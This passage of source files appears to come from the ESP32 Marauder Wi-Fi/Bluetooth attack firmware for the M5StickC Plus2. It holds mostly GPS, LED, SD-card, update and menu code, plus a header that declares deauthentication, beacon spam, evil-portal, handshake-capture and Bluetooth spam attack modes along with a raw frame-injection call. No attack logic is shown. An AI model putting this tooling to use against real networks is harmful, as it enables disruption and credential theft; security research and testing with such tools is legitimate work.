620 | void GpsInterface::main() {
621 | while (Serial2.available()) {
622 | //Fetch the character one by one
623 | char c = Serial2.read();
624 | //Serial.print(c);
625 | //Pass the character to the library
626 | nmea.process(c);
627 | }
628 |
629 | uint8_t num_sat = nmea.getNumSatellites();
630 |
631 | if ((nmea.isValid()) && (num_sat > 0))
632 | this->setGPSInfo();
633 |
634 | else if ((!nmea.isValid()) && (num_sat <= 0)) {
635 | this->setGPSInfo();
636 | }
637 | }
638 | #endif
639 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/GpsInterface.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef GpsInterface_h
4 | #define GpsInterface_h
5 |
6 | #include
7 | #include
8 | #include
9 |
10 | #include "configs.h"
11 |
12 | //#define GPS_TEXT_MAXLINES 5 //default:5 lines in the buffer maximum
13 | //#define GPS_TEXT_MAXCOPIES 1 //default:any nonzero number resets, i.e. one copy
14 |
15 | void gps_nmea_notimp(MicroNMEA& nmea);
16 |
17 | class GpsInterface {
18 | public:
19 | void begin();
20 | void main();
21 |
22 | String getNumSatsString();
23 | bool getFixStatus();
24 | String getFixStatusAsString();
25 | bool getGpsModuleStatus();
26 | String getLat();
27 | String getLon();
28 | float getAlt();
29 | float getAccuracy();
30 | String getDatetime();
31 | String getText();
32 | int getTextQueueSize();
33 | String getTextQueue(bool flush=1);
34 | String getNmea();
35 | String getNmeaNotimp();
36 | String getNmeaNotparsed();
37 |
38 | void setType(String t);
39 |
40 | void enqueue(MicroNMEA& nmea);
41 | LinkedList* get_queue();
42 | void flush_queue();
43 | void flush_text();
44 | void new_queue();
45 | void enable_queue();
46 | void disable_queue();
47 | bool queue_enabled();
48 |
49 | void sendSentence(const char* sentence);
50 | void sendSentence(Stream &s, const char* sentence);
51 |
52 | String generateGXgga();
53 | String generateGXrmc();
54 |
55 | private:
56 | enum type_t {
57 | GPSTYPE_NATIVE = 0,
58 | GPSTYPE_ALL = 1,
59 | GPSTYPE_GPS = 2,
60 | GPSTYPE_GLONASS = 3,
61 | GPSTYPE_GALILEO = 4,
62 | GPSTYPE_NAVIC = 5,
63 | GPSTYPE_QZSS = 6,
64 | GPSTYPE_BEIDOU = 7,
65 | GPSTYPE_BEIDOU_BD = 8
66 | };
67 |
68 | // GPS Info
69 | String gps_text = "";
70 | String nmea_sentence = "";
71 | String notimp_nmea_sentence = "";
72 | String notparsed_nmea_sentence = "";
73 | String lat = "";
74 | String lon = "";
75 | float altf = 0.0;
76 | float accuracy = 0.0;
77 | String datetime = "";
78 |
79 | bool gps_enabled = false;
80 | bool good_fix = false;
81 | char nav_system='\0';
82 | uint8_t num_sats = 0;
83 |
84 | type_t type_flag = GPSTYPE_NATIVE;
85 |
86 | bool queue_enabled_flag=0;
87 | LinkedList *queue=NULL;
88 |
89 | int text_cycles=0;
90 | LinkedList *text_in=NULL;
91 | LinkedList *text=NULL;
92 |
93 | String generateType();
94 | void flush_queue_text();
95 | void flush_queue_textin();
96 | void flush_queue_nmea();
97 | String dt_string_from_gps();
98 | void setGPSInfo();
99 | };
100 |
101 | #endif
102 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/LedInterface.cpp:
--------------------------------------------------------------------------------
1 | #include "LedInterface.h"
2 |
3 | LedInterface::LedInterface() {
4 |
5 | }
6 |
7 | void LedInterface::RunSetup() {
8 | //Serial.println("Setting neopixel to black...");
9 | strip.setBrightness(0);
10 | strip.begin();
11 | strip.setPixelColor(0, strip.Color(0, 0, 0));
12 | strip.show();
13 | delay(100);
14 | strip.setBrightness(50);
15 | strip.setPixelColor(0, strip.Color(0, 0, 0));
16 | strip.show();
17 | this->initTime = millis();
18 | }
19 |
20 | void LedInterface::main(uint32_t currentTime) {
21 | if ((!settings_obj.loadSetting("EnableLED")) ||
22 | (this->current_mode == MODE_OFF)) {
23 | this->ledOff();
24 | return;
25 | }
26 |
27 | else if (this->current_mode == MODE_RAINBOW) {
28 | this->rainbow();
29 | }
30 | else if (this->current_mode == MODE_ATTACK) {
31 | this->attackLed();
32 | }
33 | else if (this->current_mode == MODE_SNIFF) {
34 | this->sniffLed();
35 | }
36 | else if (this->current_mode == MODE_CUSTOM) {
37 | return;
38 | }
39 | else {
40 | this->ledOff();
41 | }
42 | };
43 |
44 | void LedInterface::setMode(uint8_t new_mode) {
45 | this->current_mode = new_mode;
46 | }
47 |
48 | uint8_t LedInterface::getMode() {
49 | return this->current_mode;
50 | }
51 |
52 | void LedInterface::setColor(int r, int g, int b) {
53 | strip.setPixelColor(0, strip.Color(r, g, b));
54 | strip.show();
55 | }
56 |
57 | void LedInterface::sniffLed() {
58 | this->setColor(0, 0, 255);
59 | }
60 |
61 | void LedInterface::attackLed() {
62 | this->setColor(255, 0, 0);
63 | }
64 |
65 | void LedInterface::ledOff() {
66 | this->setColor(0, 0, 0);
67 | }
68 |
69 | void LedInterface::rainbow() {
70 | strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
71 | strip.show();
72 |
73 | this->current_fade_itter++;
74 |
75 | this->wheel_pos = this->wheel_pos - this->wheel_speed;
76 | if (this->wheel_pos < 0)
77 | this->wheel_pos = 255;
78 | }
79 |
80 | uint32_t LedInterface::Wheel(byte WheelPos) {
81 | WheelPos = 255 - WheelPos;
82 | if(WheelPos < 85) {
83 | return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
84 | }
85 | if(WheelPos < 170) {
86 | WheelPos -= 85;
87 | return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
88 | }
89 | WheelPos -= 170;
90 | return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
91 | }
92 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/LedInterface.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef LedInterface_h
4 | #define LedInterface_h
5 |
6 | #include "configs.h"
7 | #include "settings.h"
8 | #include
9 | #include
10 |
11 | #define Pixels 1
12 |
13 | #define MODE_OFF 0
14 | #define MODE_RAINBOW 1
15 | #define MODE_ATTACK 2
16 | #define MODE_SNIFF 3
17 | #define MODE_CUSTOM 4
18 |
19 | extern Settings settings_obj;
20 | extern Adafruit_NeoPixel strip;
21 |
22 | class LedInterface {
23 |
24 | private:
25 | uint32_t initTime = 0;
26 |
27 | int current_fade_itter = 1;
28 | int wheel_pos = 255;
29 | int wheel_speed = 1; // lower = slower
30 |
31 | uint32_t Wheel(byte WheelPos);
32 |
33 | uint8_t current_mode = MODE_OFF;
34 |
35 | void rainbow();
36 | void ledOff();
37 | void attackLed();
38 | void sniffLed();
39 |
40 | public:
41 | LedInterface();
42 |
43 | void RunSetup();
44 | void main(uint32_t currentTime);
45 |
46 | void setMode(uint8_t);
47 | void setColor(int r, int g, int b);
48 | uint8_t getMode();
49 |
50 |
51 | };
52 |
53 | #endif
54 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/MenuFunctions.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef MenuFunctions_h
4 | #define MenuFunctions_h
5 |
6 | #include "configs.h"
7 |
8 | #ifdef HAS_SCREEN
9 |
10 | #define BATTERY_ANALOG_ON 0
11 |
12 | #include "WiFiScan.h"
13 | #include "BatteryInterface.h"
14 | #include "SDInterface.h"
15 | #include "settings.h"
16 |
17 | #ifdef HAS_BUTTONS
18 | #include
19 | extern SwitchLib u_btn;
20 | extern SwitchLib d_btn;
21 | extern SwitchLib l_btn;
22 | extern SwitchLib r_btn;
23 | extern SwitchLib c_btn;
24 | #endif
25 |
26 | extern WiFiScan wifi_scan_obj;
27 | extern SDInterface sd_obj;
28 | extern BatteryInterface battery_obj;
29 | extern Settings settings_obj;
30 |
31 | #define FLASH_BUTTON 0
32 |
33 | #if BATTERY_ANALOG_ON == 1
34 | #define BATTERY_PIN 13
35 | #define ANALOG_PIN 34
36 | #define CHARGING_PIN 27
37 | #endif
38 |
39 | // Icon definitions
40 | #define ATTACKS 0
41 | #define BEACON_SNIFF 1
42 | #define BLUETOOTH 2
43 | #define BLUETOOTH_SNIFF 3
44 | #define DEAUTH_SNIFF 4
45 | #define DRAW 5
46 | #define PACKET_MONITOR 6
47 | #define PROBE_SNIFF 7
48 | #define SCANNERS 8
49 | #define CC_SKIMMERS 9
50 | #define SNIFFERS 10
51 | #define WIFI 11
52 | #define BEACON_SPAM 12
53 | #define RICK_ROLL 13
54 | #define REBOOT 14
55 | #define GENERAL_APPS 15
56 | #define UPDATE 16
57 | #define DEVICE 17
58 | #define DEVICE_INFO 18
59 | #define SD_UPDATE 19
60 | #define WEB_UPDATE 20
61 | #define EAPOL 21
62 | #define STATUS_BAT 22
63 | #define STATUS_SD 23
64 | #define PWNAGOTCHI 24
65 | #define SHUTDOWN 25
66 | #define BEACON_LIST 26
67 | #define GENERATE 27
68 | #define CLEAR_ICO 28
69 | #define KEYBOARD_ICO 29
70 | #define JOIN_WIFI 30
71 | #define LANGUAGE 31
72 | #define STATUS_GPS 32
73 | #define GPS_MENU 33
74 |
75 | PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
76 | PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
77 |
78 | PROGMEM static lv_disp_buf_t disp_buf;
79 | PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
80 |
81 | PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
82 | PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
83 | PROGMEM static void html_list_cb(lv_obj_t * btn, lv_event_t event);
84 | PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
85 | PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
86 | PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
87 |
88 | // lvgl stuff
89 | PROGMEM static lv_obj_t *kb;
90 | PROGMEM static lv_obj_t * save_as_kb;
91 |
92 | struct Menu;
93 |
94 | // Individual Nodes of a menu
95 |
96 | struct MenuNode {
97 | String name;
98 | bool command;
99 | uint16_t color;
100 | uint8_t icon;
101 | TFT_eSPI_Button* button;
102 | bool selected;
103 | std::function callable;
104 | };
105 |
106 | // Full Menus
107 | struct Menu {
108 | String name;
109 | LinkedList* list;
110 | Menu * parentMenu;
111 | uint8_t selected = 0;
112 | };
113 |
114 |
115 | class MenuFunctions
116 | {
117 | private:
118 |
119 | String u_result = "";
120 |
121 | uint32_t initTime = 0;
122 | uint8_t menu_start_index = 0;
123 |
124 |
125 | // Main menu stuff
126 | Menu mainMenu;
127 |
128 | Menu wifiMenu;
129 | Menu bluetoothMenu;
130 | Menu badusbMenu;
131 | Menu deviceMenu;
132 |
133 | // Device menu stuff
134 | Menu whichUpdateMenu;
135 | Menu failedUpdateMenu;
136 | Menu confirmMenu;
137 | Menu updateMenu;
138 | Menu settingsMenu;
139 | Menu specSettingMenu;
140 | Menu infoMenu;
141 | Menu languageMenu;
142 |
143 | // WiFi menu stuff
144 | Menu wifiSnifferMenu;
145 | Menu wifiAttackMenu;
146 | Menu wifiGeneralMenu;
147 | Menu wifiAPMenu;
148 |
149 | // WiFi General Menu
150 | Menu htmlMenu;
151 |
152 | // Bluetooth menu stuff
153 | Menu bluetoothSnifferMenu;
154 | Menu bluetoothAttackMenu;
155 |
156 | // Settings things menus
157 | Menu generateSSIDsMenu;
158 |
159 | static void lv_tick_handler();
160 |
161 | // Menu icons
162 |
163 |
164 |
165 | void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function callable, bool selected = false, String command = "");
166 | void updateStatusBar();
167 | void battery(bool initial = false);
168 | void battery2(bool initial = false);
169 | void showMenuList(Menu* menu, int layer);
170 | String callSetting(String key);
171 | void runBoolSetting(String ley);
172 | void displaySetting(String key, Menu* menu, int index);
173 | void buttonSelected(uint8_t b, int8_t x = -1);
174 | void buttonNotSelected(uint8_t b, int8_t x = -1);
175 |
176 | uint8_t updateTouch(uint16_t *x, uint16_t *y, uint16_t threshold = 600);
177 |
178 | public:
179 | MenuFunctions();
180 |
181 | Menu* current_menu;
182 | Menu clearSSIDsMenu;
183 | Menu clearAPsMenu;
184 |
185 | #ifdef HAS_GPS
186 | // GPS Menu
187 | Menu gpsInfoMenu;
188 | #endif
189 |
190 | Ticker tick;
191 |
192 | uint16_t x = -1, y = -1;
193 | boolean pressed = false;
194 |
195 | String loaded_file = "";
196 |
197 | void initLVGL();
198 | void deinitLVGL();
199 | void selectEPHTMLGFX();
200 | void addSSIDGFX();
201 | void addAPGFX();
202 | void addStationGFX();
203 | void buildButtons(Menu* menu, int starting_index = 0, String button_name = "");
204 | void changeMenu(Menu* menu);
205 | void drawStatusBar();
206 | void displayCurrentMenu(uint8_t start_index = 0);
207 | void main(uint32_t currentTime);
208 | void RunSetup();
209 | void orientDisplay();
210 | };
211 |
212 |
213 | #endif
214 | #endif
215 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/SDInterface.cpp:
--------------------------------------------------------------------------------
1 | #include "SDInterface.h"
2 | #include "lang_var.h"
3 |
4 |
5 | bool SDInterface::initSD() {
6 | #ifdef HAS_SD
7 | String display_string = "";
8 |
9 | #ifdef KIT
10 | pinMode(SD_DET, INPUT);
11 | if (digitalRead(SD_DET) == LOW) {
12 | Serial.println(F("SD Card Detect Pin Detected"));
13 | }
14 | else {
15 | Serial.println(F("SD Card Detect Pin Not Detected"));
16 | this->supported = false;
17 | return false;
18 | }
19 | #endif
20 |
21 | pinMode(SD_CS, OUTPUT);
22 |
23 | delay(10);
24 | #if defined(MARAUDER_M5STICKC)
25 | /* Set up SPI SD Card using external pin header
26 | StickCPlus Header - SPI SD Card Reader
27 | 3v3 - 3v3
28 | GND - GND
29 | G0 - CLK
30 | G36/G25 - MISO
31 | G26 - MOSI
32 | - CS (jumper to SD Card GND Pin)
33 | */
34 | enum { SPI_SCK = 0, SPI_MISO = 36, SPI_MOSI = 26 };
35 | SPIClass SPI_EXT;
36 | SPI_EXT.begin(SPI_SCK, SPI_MISO, SPI_MOSI, SD_CS);
37 | if (!SD.begin(SD_CS, SPI_EXT)) {
38 | #else
39 | if (!SD.begin(SD_CS)) {
40 | #endif
41 | Serial.println(F("Failed to mount SD Card"));
42 | this->supported = false;
43 | return false;
44 | }
45 | else {
46 | this->supported = true;
47 | this->cardType = SD.cardType();
48 | //if (cardType == CARD_MMC)
49 | // Serial.println(F("SD: MMC Mounted"));
50 | //else if(cardType == CARD_SD)
51 | // Serial.println(F("SD: SDSC Mounted"));
52 | //else if(cardType == CARD_SDHC)
53 | // Serial.println(F("SD: SDHC Mounted"));
54 | //else
55 | // Serial.println(F("SD: UNKNOWN Card Mounted"));
56 |
57 | this->cardSizeMB = SD.cardSize() / (1024 * 1024);
58 |
59 | //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
60 |
61 | if (this->supported) {
62 | const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
63 |
64 | char sz[NUM_DIGITS + 1];
65 |
66 | sz[NUM_DIGITS] = 0;
67 | for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
68 | {
69 | sz[i] = '0' + (this->cardSizeMB % 10);
70 | display_string.concat((String)sz[i]);
71 | }
72 |
73 | this->card_sz = sz;
74 | }
75 |
76 | buffer_obj = Buffer();
77 |
78 | if (!SD.exists("/SCRIPTS")) {
79 | Serial.println("/SCRIPTS does not exist. Creating...");
80 |
81 | SD.mkdir("/SCRIPTS");
82 | Serial.println("/SCRIPTS created");
83 | }
84 |
85 | return true;
86 | }
87 |
88 | #else
89 | Serial.println("SD support disabled, skipping init");
90 | return false;
91 | #endif
92 | }
93 |
94 | File SDInterface::getFile(String path) {
95 | if (this->supported) {
96 | File file = SD.open(path, FILE_READ);
97 |
98 | //if (file)
99 | return file;
100 | }
101 | }
102 |
103 | void SDInterface::listDirToLinkedList(LinkedList* file_names, String str_dir, String ext) {
104 | if (this->supported) {
105 | File dir = SD.open(str_dir);
106 | while (true)
107 | {
108 | File entry = dir.openNextFile();
109 | if (!entry)
110 | {
111 | break;
112 | }
113 | if (ext != "") {
114 | String file_name = entry.name();
115 | if (file_name.endsWith(ext)) {
116 | file_names->add(file_name);
117 | }
118 | }
119 | }
120 | }
121 | }
122 |
123 | void SDInterface::listDir(String str_dir){
124 | if (this->supported) {
125 | File dir = SD.open(str_dir);
126 | while (true)
127 | {
128 | File entry = dir.openNextFile();
129 | if (! entry)
130 | {
131 | break;
132 | }
133 | //for (uint8_t i = 0; i < numTabs; i++)
134 | //{
135 | // Serial.print('\t');
136 | //}
137 | Serial.print(entry.name());
138 | Serial.print("\t");
139 | Serial.println(entry.size());
140 | entry.close();
141 | }
142 | }
143 | }
144 |
145 | void SDInterface::addPacket(uint8_t* buf, uint32_t len, bool log) {
146 | if ((this->supported) && (this->do_save)) {
147 | buffer_obj.addPacket(buf, len, log);
148 | }
149 | }
150 |
151 | void SDInterface::openCapture(String file_name) {
152 | bool save_pcap = settings_obj.loadSetting("SavePCAP");
153 | if ((this->supported) && (save_pcap)) {
154 | buffer_obj.createPcapFile(&SD, file_name);
155 | buffer_obj.open();
156 | }
157 | }
158 |
159 | void SDInterface::openLog(String file_name) {
160 | bool save_pcap = settings_obj.loadSetting("SavePCAP");
161 | if ((this->supported) && (save_pcap)) {
162 | buffer_obj.createPcapFile(&SD, file_name, true);
163 | buffer_obj.open(true);
164 | }
165 | }
166 |
167 | void SDInterface::runUpdate() {
168 | #ifdef HAS_SCREEN
169 | display_obj.tft.setTextWrap(false);
170 | display_obj.tft.setFreeFont(NULL);
171 | display_obj.tft.setCursor(0, 100);
172 | display_obj.tft.setTextSize(1);
173 | display_obj.tft.setTextColor(TFT_WHITE);
174 |
175 | display_obj.tft.println(F(text15));
176 | #endif
177 | File updateBin = SD.open("/update.bin");
178 | if (updateBin) {
179 | if(updateBin.isDirectory()){
180 | #ifdef HAS_SCREEN
181 | display_obj.tft.setTextColor(TFT_RED);
182 | display_obj.tft.println(F(text_table2[0]));
183 | #endif
184 | Serial.println(F("Error, could not find \"update.bin\""));
185 | #ifdef HAS_SCREEN
186 | display_obj.tft.setTextColor(TFT_WHITE);
187 | #endif
188 | updateBin.close();
189 | return;
190 | }
191 |
192 | size_t updateSize = updateBin.size();
193 |
194 | if (updateSize > 0) {
195 | #ifdef HAS_SCREEN
196 | display_obj.tft.println(F(text_table2[1]));
197 | #endif
198 | Serial.println(F("Starting update over SD. Please wait..."));
199 | this->performUpdate(updateBin, updateSize);
200 | }
201 | else {
202 | #ifdef HAS_SCREEN
203 | display_obj.tft.setTextColor(TFT_RED);
204 | display_obj.tft.println(F(text_table2[2]));
205 | #endif
206 | Serial.println(F("Error, file is empty"));
207 | #ifdef HAS_SCREEN
208 | display_obj.tft.setTextColor(TFT_WHITE);
209 | #endif
210 | return;
211 | }
212 |
213 | updateBin.close();
214 |
215 | // whe finished remove the binary from sd card to indicate end of the process
216 | #ifdef HAS_SCREEN
217 | display_obj.tft.println(F(text_table2[3]));
218 | #endif
219 | Serial.println(F("rebooting..."));
220 | //SD.remove("/update.bin");
221 | delay(1000);
222 | ESP.restart();
223 | }
224 | else {
225 | #ifdef HAS_SCREEN
226 | display_obj.tft.setTextColor(TFT_RED);
227 | display_obj.tft.println(F(text_table2[4]));
228 | #endif
229 | Serial.println(F("Could not load update.bin from sd root"));
230 | #ifdef HAS_SCREEN
231 | display_obj.tft.setTextColor(TFT_WHITE);
232 | #endif
233 | }
234 | }
235 |
236 | void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
237 | if (Update.begin(updateSize)) {
238 | #ifdef HAS_SCREEN
239 | display_obj.tft.println(text_table2[5] + String(updateSize));
240 | display_obj.tft.println(F(text_table2[6]));
241 | #endif
242 | size_t written = Update.writeStream(updateSource);
243 | if (written == updateSize) {
244 | #ifdef HAS_SCREEN
245 | display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
246 | #endif
247 | Serial.println("Written : " + String(written) + " successfully");
248 | }
249 | else {
250 | #ifdef HAS_SCREEN
251 | display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
252 | #endif
253 | Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
254 | }
255 | if (Update.end()) {
256 | Serial.println("OTA done!");
257 | if (Update.isFinished()) {
258 | #ifdef HAS_SCREEN
259 | display_obj.tft.println(F(text_table2[11]));
260 | #endif
261 | Serial.println(F("Update successfully completed. Rebooting."));
262 | }
263 | else {
264 | #ifdef HAS_SCREEN
265 | display_obj.tft.setTextColor(TFT_RED);
266 | display_obj.tft.println(text_table2[12]);
267 | #endif
268 | Serial.println("Update not finished? Something went wrong!");
269 | #ifdef HAS_SCREEN
270 | display_obj.tft.setTextColor(TFT_WHITE);
271 | #endif
272 | }
273 | }
274 | else {
275 | #ifdef HAS_SCREEN
276 | display_obj.tft.println(text_table2[13] + String(Update.getError()));
277 | #endif
278 | Serial.println("Error Occurred. Error #: " + String(Update.getError()));
279 | }
280 |
281 | }
282 | else
283 | {
284 | #ifdef HAS_SCREEN
285 | display_obj.tft.println(text_table2[14]);
286 | #endif
287 | Serial.println("Not enough space to begin OTA");
288 | }
289 | }
290 |
291 | bool SDInterface::checkDetectPin() {
292 | #ifdef KIT
293 | if (digitalRead(SD_DET) == LOW)
294 | return true;
295 | else
296 | return false;
297 | #endif
298 |
299 | return false;
300 | }
301 |
302 | void SDInterface::main() {
303 | if ((this->supported) && (this->do_save)) {
304 | //Serial.println("Saving packet...");
305 | buffer_obj.forceSave(&SD);
306 | }
307 | else if (!this->supported) {
308 | if (checkDetectPin()) {
309 | delay(100);
310 | this->initSD();
311 | }
312 | }
313 | }
314 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/SDInterface.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef SDInterface_h
4 | #define SDInterface_h
5 |
6 | #include "configs.h"
7 |
8 | #include "settings.h"
9 | #include "SD.h"
10 | #include "Buffer.h"
11 | #ifdef HAS_SCREEN
12 | #include "Display.h"
13 | #endif
14 | #include
15 |
16 | extern Buffer buffer_obj;
17 | extern Settings settings_obj;
18 | #ifdef HAS_SCREEN
19 | extern Display display_obj;
20 | #endif
21 |
22 | #ifdef KIT
23 | #define SD_DET 4
24 | #endif
25 |
26 | class SDInterface {
27 |
28 | private:
29 | bool checkDetectPin();
30 |
31 | public:
32 | uint8_t cardType;
33 | //uint64_t cardSizeBT;
34 | //uint64_t cardSizeKB;
35 | uint64_t cardSizeMB;
36 | //uint64_t cardSizeGB;
37 | bool supported = false;
38 | bool do_save = true;
39 |
40 | String card_sz;
41 |
42 | bool initSD();
43 |
44 | void listDir(String str_dir);
45 | void listDirToLinkedList(LinkedList* file_names, String str_dir = "/", String ext = "");
46 | File getFile(String path);
47 | void addPacket(uint8_t* buf, uint32_t len, bool log = false);
48 | void openCapture(String file_name = "");
49 | void openLog(String file_name = "");
50 | void runUpdate();
51 | void performUpdate(Stream &updateSource, size_t updateSize);
52 | void main();
53 | //void savePacket(uint8_t* buf, uint32_t len);
54 | };
55 |
56 | #endif
57 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/WiFiScan.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef WiFiScan_h
4 | #define WiFiScan_h
5 |
6 | #include "configs.h"
7 |
8 | #include
9 | #include
10 |
11 | #ifdef HAS_BT
12 | #include
13 | #endif
14 |
15 | #include
16 | #include "EvilPortal.h"
17 | #include
18 | #include "esp_wifi.h"
19 | #include "esp_wifi_types.h"
20 | #ifdef HAS_BT
21 | #include "esp_bt.h"
22 | #endif
23 | #ifdef HAS_SCREEN
24 | #include "Display.h"
25 | #endif
26 | #ifdef HAS_SD
27 | #include "SDInterface.h"
28 | #endif
29 | #include "Buffer.h"
30 | #ifdef HAS_BATTERY
31 | #include "BatteryInterface.h"
32 | #endif
33 | #ifdef HAS_GPS
34 | #include "GpsInterface.h"
35 | #endif
36 | #include "settings.h"
37 | #include "Assets.h"
38 | #ifdef MARAUDER_FLIPPER
39 | #include "flipperLED.h"
40 | #elif defined(XIAO_ESP32_S3)
41 | #include "xiaoLED.h"
42 | #elif defined(MARAUDER_M5STICKC)
43 | #include "stickcLED.h"
44 | #else
45 | #include "LedInterface.h"
46 | #endif
47 |
48 | #define bad_list_length 3
49 |
50 | #define OTA_UPDATE 100
51 | #define SHOW_INFO 101
52 | #define ESP_UPDATE 102
53 | #define WIFI_SCAN_OFF 0
54 | #define WIFI_SCAN_PROBE 1
55 | #define WIFI_SCAN_AP 2
56 | #define WIFI_SCAN_PWN 3
57 | #define WIFI_SCAN_EAPOL 4
58 | #define WIFI_SCAN_DEAUTH 5
59 | #define WIFI_SCAN_ALL 6
60 | #define WIFI_PACKET_MONITOR 7
61 | #define WIFI_ATTACK_BEACON_SPAM 8
62 | #define WIFI_ATTACK_RICK_ROLL 9
63 | #define BT_SCAN_ALL 10
64 | #define BT_SCAN_SKIMMERS 11
65 | #define WIFI_SCAN_ESPRESSIF 12
66 | #define LV_JOIN_WIFI 13
67 | #define LV_ADD_SSID 14
68 | #define WIFI_ATTACK_BEACON_LIST 15
69 | #define WIFI_SCAN_TARGET_AP 16
70 | #define LV_SELECT_AP 17
71 | #define WIFI_ATTACK_AUTH 18
72 | #define WIFI_ATTACK_MIMIC 19
73 | #define WIFI_ATTACK_DEAUTH 20
74 | #define WIFI_ATTACK_AP_SPAM 21
75 | #define WIFI_SCAN_TARGET_AP_FULL 22
76 | #define WIFI_SCAN_ACTIVE_EAPOL 23
77 | #define WIFI_ATTACK_DEAUTH_MANUAL 24
78 | #define WIFI_SCAN_RAW_CAPTURE 25
79 | #define WIFI_SCAN_STATION 26
80 | #define WIFI_ATTACK_DEAUTH_TARGETED 27
81 | #define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
82 | #define WIFI_SCAN_SIG_STREN 29
83 | #define WIFI_SCAN_EVIL_PORTAL 30
84 | #define WIFI_SCAN_GPS_DATA 31
85 | #define WIFI_SCAN_WAR_DRIVE 32
86 | #define WIFI_SCAN_STATION_WAR_DRIVE 33
87 | #define BT_SCAN_WAR_DRIVE 34
88 | #define BT_SCAN_WAR_DRIVE_CONT 35
89 | #define BT_ATTACK_SOUR_APPLE 36
90 | #define BT_ATTACK_SWIFTPAIR_SPAM 37
91 | #define BT_ATTACK_SPAM_ALL 38
92 | #define BT_ATTACK_SAMSUNG_SPAM 39
93 | #define WIFI_SCAN_GPS_NMEA 40
94 | #define BT_ATTACK_GOOGLE_SPAM 41
95 |
96 | #define GRAPH_REFRESH 100
97 |
98 | #define MAX_CHANNEL 14
99 |
100 | extern EvilPortal evil_portal_obj;
101 |
102 | #ifdef HAS_SCREEN
103 | extern Display display_obj;
104 | #endif
105 | #ifdef HAS_SD
106 | extern SDInterface sd_obj;
107 | #endif
108 | #ifdef HAS_GPS
109 | extern GpsInterface gps_obj;
110 | #endif
111 | extern Buffer buffer_obj;
112 | #ifdef HAS_BATTERY
113 | extern BatteryInterface battery_obj;
114 | #endif
115 | extern Settings settings_obj;
116 | #ifdef MARAUDER_FLIPPER
117 | extern flipperLED flipper_led;
118 | #elif defined(XIAO_ESP32_S3)
119 | extern xiaoLED xiao_led;
120 | #elif defined(MARAUDER_M5STICKC)
121 | extern stickcLED stickc_led;
122 | #else
123 | extern LedInterface led_obj;
124 | #endif
125 |
126 | esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
127 |
128 | /*struct ssid {
129 | String essid;
130 | uint8_t channel;
131 | int bssid[6];
132 | bool selected;
133 | };*/
134 |
135 | /*struct AccessPoint {
136 | String essid;
137 | int channel;
138 | int bssid[6];
139 | bool selected;
140 | LinkedList* beacon;
141 | int rssi;
142 | LinkedList* stations;
143 | };*/
144 |
145 |
146 | struct mac_addr {
147 | unsigned char bytes[6];
148 | };
149 |
150 | struct Station {
151 | uint8_t mac[6];
152 | bool selected;
153 | };
154 |
155 | class WiFiScan
156 | {
157 | private:
158 | // Wardriver thanks to https://github.com/JosephHewitt
159 | struct mac_addr mac_history[mac_history_len];
160 |
161 | // Settings
162 | uint mac_history_cursor = 0;
163 | uint8_t channel_hop_delay = 1;
164 | bool force_pmkid = false;
165 | bool force_probe = false;
166 | bool save_pcap = false;
167 |
168 | int x_pos; //position along the graph x axis
169 | float y_pos_x; //current graph y axis position of X value
170 | float y_pos_x_old = 120; //old y axis position of X value
171 | float y_pos_y; //current graph y axis position of Y value
172 | float y_pos_y_old = 120; //old y axis position of Y value
173 | float y_pos_z; //current graph y axis position of Z value
174 | float y_pos_z_old = 120; //old y axis position of Z value
175 | int midway = 0;
176 | byte x_scale = 1; //scale of graph x axis, controlled by touchscreen buttons
177 | byte y_scale = 1;
178 |
179 | bool do_break = false;
180 |
181 | bool wsl_bypass_enabled = false;
182 |
183 | //int num_beacon = 0; // GREEN
184 | //int num_probe = 0; // BLUE
185 | //int num_deauth = 0; // RED
186 |
187 | uint32_t initTime = 0;
188 | bool run_setup = true;
189 | void initWiFi(uint8_t scan_mode);
190 | uint8_t bluetoothScanTime = 5;
191 | int packets_sent = 0;
192 | const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
193 | #ifdef HAS_BT
194 | NimBLEScan* pBLEScan;
195 | #endif
196 |
197 | //String connected_network = "";
198 | //const String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
